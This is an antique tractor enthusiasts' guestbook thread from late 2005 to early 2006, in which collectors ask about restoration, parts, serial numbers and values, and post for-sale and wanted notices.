Shawn L. Austin wrote on Saturday, February 25, 2006 (PST):Hello my name is Shawn,and I have one of these tractors sitting in my yard.It was called a ditch digger,because it came equipted with a push blade on the front and a backhoe on the rear.I believe mine is a 1955.It is suppose to be my restore project,but may have to wait until I retire.
lee gasser wrote on Saturday, February 25, 2006 (PST): I am an artist ,just finished painting a oliver in a spring setting ,with barn in back ground ,it nice to see the real thing
Dan Frieden wrote on Friday, February 24, 2006 (PST):I have a J.D.A parts tractor,a 2-row cult.A J.d. corn picker#101.IF Interested in any thing please contact me. thank-you
Dan Frieden wrote on Friday, February 24, 2006 (PST):I have a 2-row a/c cult.and a 3-bottom snap coupler plow. The plow has been in a shed. If interested please contact me. Thanks Dan Frieden
Dan Frieden wrote on Friday, February 24, 2006 (PST):I come across a Twin Cities tractor, model #AD-2750-106 recently and was wondering if anyone has any kind of information for me. I would like to know what year, what size, how much it would be worth, and if possible, how many were manufacted. And also, where would the serial # be located. I would appreciate any information I can get.
Lerry Bond wrote on Friday, February 24, 2006 (PST):I just purchased a IH 560 lp and I really like it. I was wandering where to check or add hydrolic fluid for the lifting arms? Any comments or information on this great tractor is welcome. Lerry
KEVIN wrote on Friday, February 24, 2006 (PST):i purchased a 300 utility ih with no hitch, i purchased a 3pt hitch... it has 2 cylinders. one on each side. my valve on the left has 2 hoses on it that go to the rear. any advise on hooking up hydraulic hose to allow upward and downward motion. thanks
Norman wrote on Friday, February 24, 2006 (PST):A friend of mine has an Oliver tractor. It is a Super 99, 3 cylinder diesel engine with a GM blower. I believe it was made in 1957-58. It hasn't been started for five years, still turns over. It moves but there is a problem with the transmission. Tin is in good shape, tires hold air but are checked. We would like to know what this tractor is worth in current condition or what it would be worth if we restore it.
Leon Bell wrote on Wednesday, February 22, 2006 (PST):Have 541 Ford Offset Workmaster. Serial # 69108. With cultivators. Excellent for restoration. Have used since purchased 1959, still use. runs excellently. Unfortantly must sell since selling farm. Interested? Call 1-859-234-3748 or E-mail.
Bert Cummings wrote on Wednesday, February 22, 2006 (PST):What would be the seriel number on the tractor picture you have.Because I have a tractor just like that one and can not find the seriel number on my.
Bob Ritter wrote on Wednesday, February 22, 2006 (PST):i just recently got an allis chalmers B i don't know what year it is and i am also having trouble with the charging system i do know it is a 6 volt with pos ground so if all you ac lovers could help me love mine i would app it. BOB
ROXANN wrote on Wednesday, February 22, 2006 (PST):My husband is restoring a case sc.Were finding eagles on top of globes stamped all over on it.Is this a common thing to see.We believe it's a 1941.
Kenneth Williams wrote on Wednesday 2-22-06 wrote on Tuesday, February 21, 2006 (PST):I have a 1952 CASE VAO wide frontend and EAGLE hitch. I'm looking for a full seat assembly at a reasonable price. I want to restore this tractor ASAP.
robin thompson wrote on Tuesday, February 21, 2006 (PST):i have a fordson major diesel and the cam just broke, any ideas where i can get one? it is the 3 bolt style and i need lifters too they are worn down, might sell tractor as is ?
Gary Couey wrote on Tuesday, February 21, 2006 (PST):I have purchased a 1948 VAH Case. I would like to know production numbers for this tractor.
tony deepe wrote on Monday, February 20, 2006 (PST):have a case 830 comfort king diesel good cond. wide and narrow front make offer
marc tessier wrote on Monday, February 20, 2006 (PST):is this tractor for sale . if not do you know where i could get parts for a 1933 f12
Mel Heimann wrote on Monday, February 20, 2006 (PST):Does any body know if the short stubb shaft that the hand clutch lever slides on can be removed and replaced as mine is worn to much.thanks if someone knows how to remove it
mark wrote on Sunday, February 19, 2006 (PST):i have danco belly mower model # c2 1111 does any know where i can get parts or order or have a web site that i can go on my e-mail add is sampullen2 at hotmail.com
Glen wrote on Saturday, February 18, 2006 (PST):I want to know the original paint code for Ferguson tractors.
Wayne Karn wrote on Friday, February 17, 2006 (PST):There are 2 old Russel steam traction engines setting in behind a shed at Dowling, Mich. They belonged to the late Harry Woodmancy. I saw one run about 20 years ago there on a saw mill. His boys wont sell I hear. For your information.
Mike Turpin wrote on Friday, February 17, 2006 (PST):I have a tractor I think it's a 1961 dexta ford .I have a #it's N17B I got it from the transmission.If you could tell me he model I sure would appreciate it.Thank you Mike Turpin
David Staege wrote on Thursday, February 16, 2006 (PST):In regard to the D21 3500 series block that Iam looking for, serial no. 3D-03200 to 3D-03400. My phone no. is 928-474-4751.
David Staege wrote on Thursday, February 16, 2006 (PST):Iam looking for a good D21 3500 series engine block.Serial no. 3D-03200 To 3D-03400
Dan Moore wrote on Thursday, February 16, 2006 (PST):I would like to buy a Field Marshall crawler (cat). I beleve they were built by Fowler,thanks.
dan/nick wrote on Wednesday, February 15, 2006 (PST):Well i have found one and i found that the closest colars for the tractor is cokeacola red with a yello or gray wheels.MY LEADER HAS A HERCULES engin and it is in verey good condition for beeing pulled out of a apple tree. Ihave found that you can get a book on the moter from yestrdays tractor or some place like that. The book is preity close to beeing accuriot. I allso foud out napa auto parts can get poinys for the moter an some gasskets another stuff. may leader tractyor has a after market 3 point hitch on it it allso has power take off. I did find out that to ingade the pto you must push in the clutch or you will grind the gear box. All so som of the leader tractor font rims rust out. well if you can get a 14-14 inch donut rim and cut out the center and weld the center out of the origanal it is preity clse match. also a voltswagon rim can be used . Ijust wanted to give the in formation i had.i allso wanted some pics if some one culd send me some of thiers would make me happy. Thank you
dan/nick wrote on Wednesday, February 15, 2006 (PST):Well i have found one and i found that the closest colars for the tractor is cokeacola red with a yello or gray wheels.MY LEADER HAS A HERCULES engin and it is in verey good condition for beeing pulled out of a apple tree. Ihave found that you can get a book on the moter from yestrdays tractor or some place like that. The book is preity close to beeing accuriot. I allso foud out napa auto parts can get poinys for the moter an some gasskets another stuff. may leader tractyor has a after market 3 point hitch on it it allso has power take off. I did find out that to ingade the pto you must push in the clutch or you will grind the gear box. All so som of the leader tractor font rims rust out. well if you can get a 14-14 inch donut rim and cut out the center and weld the center out of the origanal it is preity clse match. also a voltswagon rim can be used . Ijust wanted to give the in formation i had.i allso wanted some pics if some one culd send me some of thiers would make me happy. Thank you
John Tinney wrote on Wednesday, February 15, 2006 (PST):Just purchased a farmall SUPER MDTA today. Can't wait to get it home. Hopefully the roads will be clear in the next few days.It is restored but does not have all orginall equipment, That's OK because they are rare. It is about 5 hours away. I also own a restored Super MTA.I have 3 -W4, 1 -I4 1 -Super A and 1 -686
Ron (La Center, WA) wrote on Monday, February 13, 2006 (PST):My dad had a 44 when I was young and 2 years ago I ran across a 1948 44 that had been sitting and am in the process of restoring and using it.
harold marten wrote on Sunday, February 12, 2006 (PST):i have a 420c and recently purchased a good set of rollers does anyone have any advice on changing these things since they have been on the machine since 1957? thank you harold marten rr3 st.catharines ont.can.
Sylvia Hubbard wrote on Saturday, February 11, 2006 (PST):My brother in-law owns a 1921 McCormick Deering 10-20, he is looking for the exhaust pipes 2 side by side. Can anyone help. Thank You
Randall wrote on Friday, February 10, 2006 (PST):I thank I have a 1950 International 300 utility tractor how can I find out witch motor it has my parts store showes two. and how can I tell what year it is it looks lick a 1950 but I would like to know forshower and what is the horse power. hank you Randall
Jerry Ramey wrote on Friday, February 10, 2006 (PST):I have a 1963 fordson super major 5000, I am in need of a power steering cylinder if anyone knows where I can find one I would be grateful.
Matt wrote on Thursday, February 09, 2006 (PST):I have a 1947 I-4 Serial#16701 can anyone tell me if a belt pulley assembley off a Farmall H will work on this tractor? Thanks
jim hallum wrote on Tuesday, February 07, 2006 (PST):I have a international mcormick tractor ,,it has a wide front end, i purchased the tractor for 1000.00 dollars ,it came with a loader and also a blade for the rear, it has a add on rear three point. The question i have is , there is a lever on the right side that i have to push knob in to get low gears. If i pull it out i get higher gears. Can anyone tell me what this was for. Have asked around and no one can give me any answers.
Sue wrote on Monday, February 06, 2006 (PST):Help please! We keep getting different opinons on what our tractor is. Some say it is a T0-30, some say it is a T0-20. How do we tell the difference? It has an internal oil filter if that helps and there are numbers all over the darn thing. Which ones tell the year and model? It is 6 volt and cranks over slow and has very weak spark. Are the valves adjustable on it and does anyone know what they should be set at? Going to put a coil and new battery in it this weekend. Links would be great! Thx
peter s. wrote on Sunday, February 05, 2006 (PST):I WAS WONDERING IF ANYONE WOULD HAVE ANY INFORMATION TO HELP ME FIND OUT WHAT MY AMUSMENT PARK RIDE BROWNIE TRACTOR IS WORTH.IT WAS MADE IN THE LATE 50'S.IT IS A TWO SEATER,PAINTED RED AND BLACK,AND IT IS SLOW SO THAT KIDS MAY OPERATE IT WITH A ADULT ABLE TO WALK NEXT TO THEM WHILE THEY DRIVE.IT WEIGHS ABOUT 265 PDS,IT WAS MADE BY THE ALLAN HERSCHELL COMPANY IN TONAWANDA NEW YORK.IT IS IN EXCELLANT SHAPE AND IT RUNS WELL.ID LIKE TO SELL IT IF ANYONE WOULD BE INTERESTED.MY EMAIL IS PSTRUSI at NETZERO.COM OR MY PHONE #(716)692-5655 THANKS PETER
Marvin wrote on Sunday, February 05, 2006 (PST):My dad bought a new 830 electric start in 1959. I operated it may hours in our ND fields. It was a great tractor. We also bought a 820 with pony start. We previously operated a 70 standard diesel and an R, both with pony start. Never had a problem with the pony engines. All were great tractors. If I had to room to store them, I would buy and restore all four.
David Traves wrote on Sunday, February 05, 2006 (PST):I have a 1960 Fordson Dexta. How do I check the fluid level of the transmission and rear end. How far down from the filler plug should it be when you look in. I know the capacities -- 13.07 litres and 19.32 litres respectively. thanks
John wrote on Sunday, February 05, 2006 (PST):I have a D-17 Series I Wide front with loader. Has new 3 pt. conversion and other new parts. Looks and runs good. Need to sell. In Mid. Tn. $4000 neg.
David V. Payne wrote on Saturday, February 04, 2006 (PST):I am looking to purchase a super 99 gm diesel. If anyone has one for sale please get back to me. I would prefer one to build but, A restored one will also work.
marc croom wrote on Saturday, February 04, 2006 (PST):I am looking for a model 60 (early)to purchase for restoration. Being a member of antique tractor club; i would like to have one for parades,shows etc.
george hawkins jr. wrote on Friday, February 03, 2006 (PST):I have a 1936 model b,also a 1950 mt,also a 1952 model bw, the front wheels are set at max width on the bw,can anyone tell me how the bolts come out out of front steer so can set wheels narrower.
george hawkins jr. wrote on Friday, February 03, 2006 (PST):I have a 1936 model b,also a 1950 mt,also a 1952 model bw, the front wheels are set at max width on the bw,can anyone tell me how the bolts come out out of front steer so can set wheels narrower.
John Mosher wrote on Friday, February 03, 2006 (PST):I have one it is a diesel front wheel assist. A very pretty tractor that I am hoping to restore some day. When we got it it needed a clutch so we split it in half but the plates inside were frozen on and when we did get it apart we bent the plates. So it sat in two pieces until we found parts it sat like that for one year but when we got the parts and put her back together she pulls like there is no tomorrow.
shawn wrote on Friday, February 03, 2006 (PST):looking for a 160 allis for sale near wi.
Leonard wrote on Thursday, February 02, 2006 (PST):MOVING I have 52 W-D 45 wide front for sale! Excellent condition. Pretty much completely restored. Call 775-340-0886 Northeastern Nevada
Orvis Julch wrote on Thursday, February 02, 2006 (PST):I,m looking for a left rear spin-out rim for my Minneapolis moline m-5 ( 15.5-38 tire ) can anyone help me to find one
Jim Broughton wrote on Wednesday, February 01, 2006 (PST):To Gary Bell; Your Cub is a 1963 model, about mid-year...about 10.5 HP displacement is 60 CI, 1600 RPM 25/8 X 23/4" uses Champion 15-A or AC-85S or Auto Lite BT8 ..18mm spark plugs. As for price...if you got it for $1600., you did real well !! Lots of luck with 'er they are good little tractors !! Jim
Chad Johnson wrote on Wednesday, February 01, 2006 (PST):My father just purchased another F-12 to restore. The serial number indicates that it is a 35 however, the block does not have the serial number stamped on it. Another odd thing about the block, casted into it is 8-20-P above 1808D I believe it is. Anybody have an idea what that indicates? The 3 other F-12 blocks he has have no such casting in the block except for the 1808D. Thank you for any info.
Charles Turner wrote on Wednesday, February 01, 2006 (PST):I am restoring a 1928 15-30 McCormick Deering tractor. I need to know what color to paint it and where I can purchase decals. Can anyone help me out?
Dennis Cronbaugh wrote on Wednesday, February 01, 2006 (PST): Ive got my eye on a Twin City tractor.Its supposed to be from the 20s.Its very straight & complete.Motor is stuck.Is it worth more than $1000.00 ?
tommy b wrote on Wednesday, February 01, 2006 (PST):what do u uese a tractor 4? im from ny and need assistance
al.embrey wrote on Tuesday, January 31, 2006 (PST):i have a model m j.d.tractor i need to know how to adjust the brakes & adjust the clutch thank you.
al.embrey wrote on Tuesday, January 31, 2006 (PST):i have a model m j.d.tractor i need to know how to adjust the brakes & adjust the clutch thank you.
Ray Herndon wrote on Tuesday, January 31, 2006 (PST):I am looking for a hydraulic cylinder that operates the lift arms on a 1961 D17 series 4. Mine is leaking and I have had it packed 2 times but with no good results. If anyone has any information where I can purchase a used one, please let me know. Thanks, Ray
Fanie Terblanche wrote on Tuesday, January 31, 2006 (PST):When farming I had two 730 Diesels,JD 70 gas, JD 720 gas and a 4020 I think the 730 was the best ever made
Kenneth Branch wrote on Monday, January 30, 2006 (PST):I have a repair parts list number R739-F. The above picture is a KTA it looks just like the picture on the front of my repair parts list. Under the picture it has Manufactured by Minneapolis - Moline Power Implement Company Minneapolis, Minnesota, U.S.A., Effective February 18, 1038
D. Campbell wrote on Monday, January 30, 2006 (PST):My father owns a 1950 Ford 8N tractor, great working condition, and we're trying to estimate the value of it. Any ideas where to call or look. It's in working condition, what's its value? I think he paid $1,600 for it used, about ten years ago. Thanks for any help.
Gary Bell wrote on Monday, January 30, 2006 (PST):PLEASE HELP WITH INFO. I am in the process of purchasing a IH McCormich FARMALL CUB tractor. The serial # is 221922 J and on the RH Tranny case is stamped 351688 R3 L 3 What year is this tractor/what is the correct model#/what is the HP rating?Displacement?/Original color (currently Yellow) Paying $1600 with woods Mower/runs great/Hydrolics work, is this a fair price in your opinion? (Located in Texas). Thank you for your help in advance. What a bueatiful tractor-gotta have one!!
FL Vineyards wrote on Monday, January 30, 2006 (PST):I have come across an OC-42. It appears to be in good shape and restoreable. Where can I get info on this model?I do not see it mentioned in many sites. Any inofrmatin is appreciated
Paul Petry wrote on Sunday, January 29, 2006 (PST):I need to haul a 2010 gas JD tractor. Does anyone know the weight of this tractor (no loader - just the tractor)??
J.P. wrote on Sunday, January 29, 2006 (PST):i've lived on a farm all my life and when i was a teen my dad baught me a oliver 60 rc with a wide front end. i took it to many a tractor pull amd won the majority of them. this is where the 60 gained its nickname ... "the mighty fred" ... not sure quite how that came about
Ken wrote on Friday, January 27, 2006 (PST):I have a AC WD 45 with wide front end and also dual fuel for gas and butane. My granddad bought it new and now I would like to find someone that could restore to new again. It still runs just needs refurb.
Broomstacker wrote on Friday, January 27, 2006 (PST):I was hired man on a hog & cattle farm in Illinois when I was in high school. In '59, my boss bought the first 6 cylinder tractor in our township--a 560 gas narrow front. We pulled 4 16s in that black dirt! Neighbors would come around to listen! Just bought a '59 460 wide front I hope to restore.
george wrote on Friday, January 27, 2006 (PST): Would like to find a oliver diesel 660 if anyone has heard of one for sale Located in western penna.
Mike Lamkin wrote on Friday, January 27, 2006 (PST):Having use two different AC- B's they are about the strongest small tractor for their time at 21 or 22 hpr they got the job done. Dads were a 1931 & 1956 I think. As best I can remember the B modle was the wige front end the model that was tri-cycle or row crop type was model CA
bill wrote on Friday, January 27, 2006 (PST):Looking for Allis G Foothills of North Carolina
Jim Turner wrote on Thursday, January 26, 2006 (PST):I have a 39 F-20 trying to restore it, I need a gast tank among other things where is a good place for F-20 parts
Mike K wrote on Wednesday, January 25, 2006 (PST):Sounds like I'm not the only one with 300 U, manuel steering box problems. Does any one have one for sale by chance? Or know of a salvage yard that sells over the net? Any help would be appreacated, Thanks
John wrote on Wednesday, January 25, 2006 (PST):I own three D-17 and they have always been fairly nice tractors. However on one of the diesles i have had a problem with the headgaskets blowing out on them.
dick wrote on Wednesday, January 25, 2006 (PST):you people have way to much time on ur hands if u go through and write about all these tractors
Farrell Jensen wrote on Tuesday, January 24, 2006 (PST):I just acquired a nice 20-30 W. It is a nice running tractor.
Dave (NE) wrote on Tuesday, January 24, 2006 (PST):Jim, you may want to check with Lyle Wacker. He sells decals and may either sell you what you need or inform you of what the decal says. 402-582-4874 Osmond, NE. I think he has a web site, also, but can't remember what it is.
Eli - NE wrote on Monday, January 23, 2006 (PST):I have a AC 2 bottom lister (planter) that I have been doing a lot of research for and can seem to find anything on it as far as value. I also have a 2 row cultivator that I also am unable find any information about. Thanks Eli
Michelle wrote on Monday, January 23, 2006 (PST):Massey Ferguson 35x ~ What is the gap supposed to be set for the points and spark plugs ?
Julie P. wrote on Monday, January 23, 2006 (PST):I was just woundering if anyone could tell me the worth of our old oliver super 55? It runs but needs to be over hauled. It smokes some. Can you please email me at jewellie62279 at aol.com. by the way it is a gas not diesel. I would also like to know how many was made if anyone could tell me. Thanks so much Julie
Thomas J. George wrote on Monday, January 23, 2006 (PST): I to am in love with the 2 bangers, The bigger the better, 830 being the king. I own a 430 that may be the sweetest in the state of MO. I would still love to hear from this guy that claims that Deere built a 3 cyl 820. Also I have a neighbor who would love 1 oz of your backy. T,J, George.
Don McCallie wrote on Monday, January 23, 2006 (PST):I also want to pass this info along. On the right side of the gear I found the Model- FTA for the Tractor and the serial #155900. As I have read further this means it was built in 1936.
Don McCallie wrote on Monday, January 23, 2006 (PST):I just picked up my Dads Twin City 21-32 last weekend. The engine's model is GE, the serial # is 904097 E. The bore is 4 5/8 with a 6" stroke. I plan to restore this tractor. My older brothers drove thsi tractor in the 1950's. I was about 13 when this tractor was parked. It has never moved fromn that slopt till I got it last week January 14,2006. I will have it is St. Louis, MO this spring. I have ordered an operators manual for it. i hope it is correct. I am still trying to match the serial # up to know when it was built.Thansk all of you for your input.
KEN wrote on Sunday, January 22, 2006 (PST):HELLO I HAVE A 55 DISEAL I AM RESTORING AND I AM LOOKING FOR A HOOD GRILL AND DASH FOR IT IF ANY ONE HAS ANY OF THIS STUFF FORSALE PLEASE EMAIL ME THANKS
Paul wrote on Saturday, January 21, 2006 (PST):I have a massey 44 no serial number tag is there somewhere on the tractor or motor that the number is stamped?
James M. Williamson 111 wrote on Friday, January 20, 2006 (PST):Looking to purchase 8N Tractor...I live in the State of Louisiana...any tractor in fair to good condition would be appreciated...not much of a mechanic thanks James
Erick A. Mogg wrote on Friday, January 20, 2006 (PST):Young farmer here(17). Just bought me a Ford 971-D. Any Information, parts, etc. for this tractor would be great to hear about. I'm really into my older ford equipment and hope to get my own collection started, thought I'd start early so I can get parts. Some anyhow. Thanks!
casey kulla wrote on Friday, January 20, 2006 (PST):I am looking for a farm-ready Allis G in the Pacific Northwest for sale. Anyone selling in the area? Thanks!
Leonard Henderson wrote on Thursday, January 19, 2006 (PST):www.toytractortimes.com/tttsubscribe/workmay04.htm Scroll to the bottom of the page for pictures and even the front cover of the JD sales brochure. I have been around these quite a bit. I heard that JD only built 65 altogether. At one time, I knew where 17 of them were.
Jim wrote on Thursday, January 19, 2006 (PST):I have a AC WD45, I need to know what the lift settings are, that are printed on the side of the Battery case. My case needs to be rebuilt and I can't read all of the settings. If any one could send me what they say I could print one and stick it back on the case when I get it rebuilt. Thanks
Dave (NE) wrote on Thursday, January 19, 2006 (PST):The crooked gear shift normally indicates that it is a WD45. Some of the late WD's came out with the crooked gear shift, but if your's is straight, it is probably a WD. Also, can check the engine. The WD had a plate on the right side, while the WD45 did not.
BigA wrote on Wednesday, January 18, 2006 (PST):Gary, according to tractordata.com your 8N would be a '48.
todd london wrote on Tuesday, January 17, 2006 (PST):I bought my great grandfathers minnie jetstar 3 super a few years back and recentky purchased a G1000 lp, I raise a small herd of beef cattle and these tractors do all the chores my 5 year old loves them and wants one of his own so he can do chores also, these tractors just never quit.
mark wrote on Tuesday, January 17, 2006 (PST):i'm looking for a sickle bar for a 1948 cub if anyone knows were i can buy one in west virigina drop me a e-mail
wayne of al. wrote on Monday, January 16, 2006 (PST):i have d14 d15 d17 im restoring the 14 d17 i need the rear wheels some one has jd wheels on her can enyone find them for me i like the d modals
garry wrote on Monday, January 16, 2006 (PST):In 1958 June my Grandfather purchased a new to35, a#3mf baler, a3furrow 3pt hitch plow and mower all of which came from a dealer in fitzroy harbor Ontario Canada. The tractor Serial# was 1700035 and the implements were shipped there from King St Toronto Ont.The dealer G poole Equip delivered and set up by installing lights on the tractor and doing a demonstration with the mower and baler as it was haying season. I remember being perty excited as I was about 10 years old at the time. It was kind of humourous watching my grandfather make the first round in the field as he always was used to driving horses, the dealer thought that he might take the clutch out of the tractor before he got around the field Hah. Well he did make it and we did a lot of work with it until 1981 when we sold the farm, My sister bought the tractor at the sale and took the tractor to cumbermere ont where they used it a number of years before they sold it to a garage If i new where it had goneto I would buy it again A really good tractor
Jack Johnson wrote on Sunday, January 15, 2006 (PST):I am looking for a pair of flat top frnders that will fit my 560
Dick wrote on Sunday, January 15, 2006 (PST):I have a cletrac radiator,damm thing wieghs more than a small car.I would like to sell same. I live in ct & you would have to pick it up.
brian van dam wrote on Sunday, January 15, 2006 (PST):hello im looking for a m/d with a t/a to rebuild and restore the tractor will have a good home in ontario canada if you can help me please e mail me ill have the tractor picked up and shiped to canada thanks brian
Rick T wrote on Saturday, January 14, 2006 (PST):I have a 1949 case vac tractor. I purchased it about 2 years ago. It has a tan hood and side shields and the rest of the tractor is a yellowish color. did they ever make one this color.
kwahl1 wrote on Friday, January 13, 2006 (PST):2 questions. The crooked gear shift, is that an indicator of a WD model. Mine is straight, gasoline but looks very similar. Also the front tires. Mine are like that, one straight tread, one truck tire looking. Normally like that?
KEVIN BRIGGS wrote on Friday, January 13, 2006 (PST):I' ve recently purchased 44 special, it runs good but! The reverse and first gear are bad. By your comments on Nov 8, 2005 it sounds as if you have some experience with transmission work on this tractor. I'm wondering how hard it is to replace these two gears and where I might get the parts. My engine seals also leak. Any help will be appreciated. Kevin
Leonard A Kennedy wrote on Friday, January 13, 2006 (PST):I searched for my grandfarhers Oliver 60 Row Crop for a couple years found the tractor at a pre-primary school used as jungle jym of some sort.Iam a keen colector of vintage tractors and is currently the secretary of the Bredasdorp Vintage Tractor Group.Back to the Oliver 60 Row Crop Wide,I have a few problems,I need a hood(bonnet),engine compartment side couvers(pannels) and decals including the badge on the nose couling.My tractor is running well exept for the body-parts missing. It has 15" tyres on the front axle and 12 x 38" at tht rear, was this the correct size? We vintage tractor collectors sometimes find it very difficult to get the correct tyre sizes in South Africa. I also am the owner of a Olver HG 42 Crawler.In our group there is a gentlrman who is the owner of a Oliver 80 pre 1940 and a Oliver 90 pre 1946. Thank You and Goodluck restoring the old ones.Leonard
Martiniano Sienra wrote on Thursday, January 12, 2006 (PST):I sale a Tractor Oliver K 66 Standard with carbureter Marbel-Schebler. I live in Uruguay city Young Cel. 099685922
Dennis wrote on Wednesday, January 11, 2006 (PST):I am looking for a fuel pump for a 50s model Power Major. Thanks for any help!
Luke Roozeboom wrote on Wednesday, January 11, 2006 (PST):I'm looking for a series II D-21 with hydraulics,pto and 3 point. Willing to pay what ever it takes for a good quality tractor. Serious inquries only. phone 1-641-660-4150 if I dont answer leave a message please.
Bob Machado wrote on Tuesday, January 10, 2006 (PST):Darrel S. What condition is your 1929D in and what are you asking for it? Also where do you live? Bob
Bob Machado wrote on Tuesday, January 10, 2006 (PST):Darrel S. What condition is your 1929D in and what are you asking for it? Also where do you live? Bob
cody rouse wrote on Monday, January 09, 2006 (PST):want some info on cockshutt 30 tractors for school project
Dale Porter wrote on Monday, January 09, 2006 (PST):I alway wanted an OC3, well I just picked one up that is in restorable condition. Just started to get imformation on parts, and I found this site. Hope to get it ready for spring. Will be back later!
d balch wrote on Sunday, January 08, 2006 (PST):i have one i need to know how the belt for the mower goes on HELP!!!
mando frausto wrote on Friday, January 06, 2006 (PST):parts for ih 3414 located in texas
BGip wrote on Friday, January 06, 2006 (PST):Steve - is this the road grader version of the AC you were wondering about? Check; www.tonystractors.com/allis_chalmers.htm
Dave (NE) wrote on Friday, January 06, 2006 (PST):Check the YT Photo ads. There are two that have been listed over the past couple of days.
john fleener wrote on Wednesday, January 04, 2006 (PST):have a mc crawler that we are looking at selling due to my dad passing away dec 8. we do not know the value of it yet but looking into it. it ran but we broke a brake band on the right track. it is complete with blade and all. pls write if enterested or know of the value than you
Wayne Sovocool wrote on Wednesday, January 04, 2006 (PST):I am creating a picture collage of all the Farmall tractors I grew up with in Western NY. So far I have good pictures of an F-20, H and M, but am still searching for an F-12 (preferably with steel wheels), a 400 (narrow front end)and a 560. Any help would be greatly appreciated.
Horst wrote on Tuesday, January 03, 2006 (PST):Hi Guys I need an 152 4 cyl engine block and cylinder head. My stuff here is cracked because of -40C and only Water...with no antifreeze.Is somebody out there who can help me to find the parts i need? Greetings Horst
Horst wrote on Tuesday, January 03, 2006 (PST):Hi Guys I need an 152 4 cyl engine block and cylinder head. My stuff here is cracked because of -40C and only Water...with no antifreeze.Is somebody out there who can help me to find the parts i need? Greetings Horst
Bob Pelham wrote on Tuesday, January 03, 2006 (PST):I would like to purchase a ACWD45. Does anyone have one for sale? Thanks
alvin wrote on Monday, January 02, 2006 (PST):My Pacer #16 has a front loader. Any front loaders out there? I hope this is the year to restore my Massey. Any one with a good rearend housing and some sheet metal parts please email me.
Billy Reaves wrote on Sunday, January 01, 2006 (PST):I have a 60 industrial that runs great but needs restoring. I have all the parts to restore it with but I have little time to do it because I'm in the Navy. My family owns numerous Oliver vintage tractors, most have been retored.
aj gonz wrote on Sunday, January 01, 2006 (PST):I have a Farmall Model H Serial # 373345X1. Engine block #6695-DE. I'm looking for a hydraulic pump for the loader which was attached when purchased in South Texas in 1989. Any idea where to purchase the entire hydraulic pump? If I'm wrong on the model H, please let me
Julie Sizemore wrote on Sunday, January 01, 2006 (PST):I am looking for a International Farmall Super A High Crop in good working condition with cutivators and hillers, etc... Please let me know if you have one for sale.
Terry Kinisky wrote on Saturday, December 31, 2005 (PST):1941 MH81-STD---Serial # 425407. Just a super machine. Been in the family for about 35 years. Still using it today. Bullet proof. Not one major repair of any kind. Regular servicing and tune-ups. They dont make them like that anymore.
hugh leonhardt wrote on Saturday, December 31, 2005 (PST):nice picture.how about changing it to to an m with 2 front trycicle wheels.i think that's the more common setup.thanks for any help you can give on this matter
Kevin wrote on Friday, December 30, 2005 (PST):Grew up on a small dairy farm in NE Iowa and we had a 1066. That tractor was a workhorse. Didn't matter if you were pickin up round bales with a fork or pulling a bailer and wagon, she always got the job done. Now I live in DC and what I wouldn't give to spend an afternoon in the field driving that 1066 again. Good times!!
tom hamilton wrote on Friday, December 30, 2005 (PST):I have 2 Ford super major 5000's one is a parts tractor the other I use at my farm. Its a very good tractor and i'm working to restore it as much as possable I am looking for the hood assembly, front grills & tack. thanks for any help tom in Fla.
Gene Williams wrote on Friday, December 30, 2005 (PST):we pull tractors i came about a d15 seris II and decided to let my son pull it just so he could have somthing he has not been beat on the tractor yet that was 2years ago. We are currently restoring it.
Walter Hanscom wrote on Thursday, December 29, 2005 (PST):I have a 1947 International Farmall Cub tractor. There is a bar near the transmission and I am not sure what it is used for. Can anyone help me?
steve u wrote on Thursday, December 29, 2005 (PST):I have a ford 800 series tractor and i am trying to remove and install brakes shoes the manaual i have does not provide much information. i removed all the springs and clips.the shoes have a hole in one end and a pin secures the shoes the dealer says we do not have to remove the pin and we cant get it out of the backing plate anyone know what to do?
Robby wrote on Wednesday, December 28, 2005 (PST):Hi, I recently purchased a MH Pony from a widow that didn't know much about it and there is a small shaft (Approx. ¼") that comes out of the left side of the final drive gear ahead of the rear axle and just below the seat that I don't know what it is for. It sticks out about an inch and has a tiny hole at the end as if something was attached. Can anyone tell me what it’s for? Thanks
Jim wrote on Tuesday, December 27, 2005 (PST):Looking for parts for forward/reverse shuttle for 420c... bought in '74 and it finally quit... it's a 1958 with a serial # 115188... specific parts are; main shaft, coupling, member, and a needle bearing.
Richard VanOrder wrote on Tuesday, December 27, 2005 (PST):I have a 1948, ser# 5227487, Case Tractor, original 6 volt, magnito w/ lever to adjust the spark (advance or retard), w/ Cab and hydralic bucket. I need an exhuast manifold to replace my cracked one. Please help.Call or e-mail. phone # is 1(607)898-5077. also just to chat about the tractor.
Be S. wrote on Monday, December 26, 2005 (PST):Have a 1958 Oliver Super 99 Diesel 6 cyl. Does anyone know where we can get a two hose hydraulic system for it?
Jennifer wrote on Saturday, December 24, 2005 (PST):My husband has a Farmall Super C and C Tractor with a set of two way plows but he doesn't know if he has all of the parts to put them on the tractor so if any one could please help him with this I would be most thankful.
Julie Burt wrote on Saturday, December 24, 2005 (PST):To Bob Brown. I still have the tractor. I am in Mulliken,MI. Phone#517-649-8598. We also have a 1947 Cub with belly mower for sale.
John Schulz wrote on Friday, December 23, 2005 (PST):I have an old Farmall M that is in great shap but I need to do a little matenence on it. Do you have any suggestions for tunning up this particular tractor? I like this old tractor and want to keep it running. Thanks for your help. John Schulz
Mike wrote on Friday, December 23, 2005 (PST):Afriend has I believe a Co-op C. I'm looking for any info how to identify. Serial #s , where to find info, pictures, etc. Any help would be appreciated.
gary wrote on Friday, December 23, 2005 (PST):As a kid I turned my first furrow with a 35 Fergi. I just saw it sell at action pretty bad shape for 1200. The special was a two stage clutch. Halfway stopped tractor the rest of the way stopped pto. It was one of the first life power tractors. Fergi did not join Massey till 1959. a 57 35 fergi should be grey with a dark green frame.
Jerry Cleghorn wrote on Friday, December 23, 2005 (PST):About to start working on my B Farmall. This was my transportation when I was a kid. It’s a 47 (so am I) that my dad bought used in 55. It has the lift all, 2-row cultivator with rear sweeps and a frame mounted sickle bar mower, swinging draw bar, all laying in piles in the barn lot. Exhaust stack rotted off years ago and the engine is all froze up. For those interested Value Built can supply about any part for it (nothing is cheap) The engine has wet sleeves, new sleeves, pistons and rings are about $300 at value built. They carry nothing for the Exhaust driven lift. Does anyone know if parts are still available for it? Nebraska tests put it about 16 PTO hp and about 15 hp on the draw bar. No water pump on these tractors, most used thermo siphon to move water. I never knew it to overheat and we worked it hard pulling a 2-bottom plow. Check the oil with the 2 taps on the side of the oil pan. You must get oil out of the low tap, when you get oil out of the high tap the oil is full.
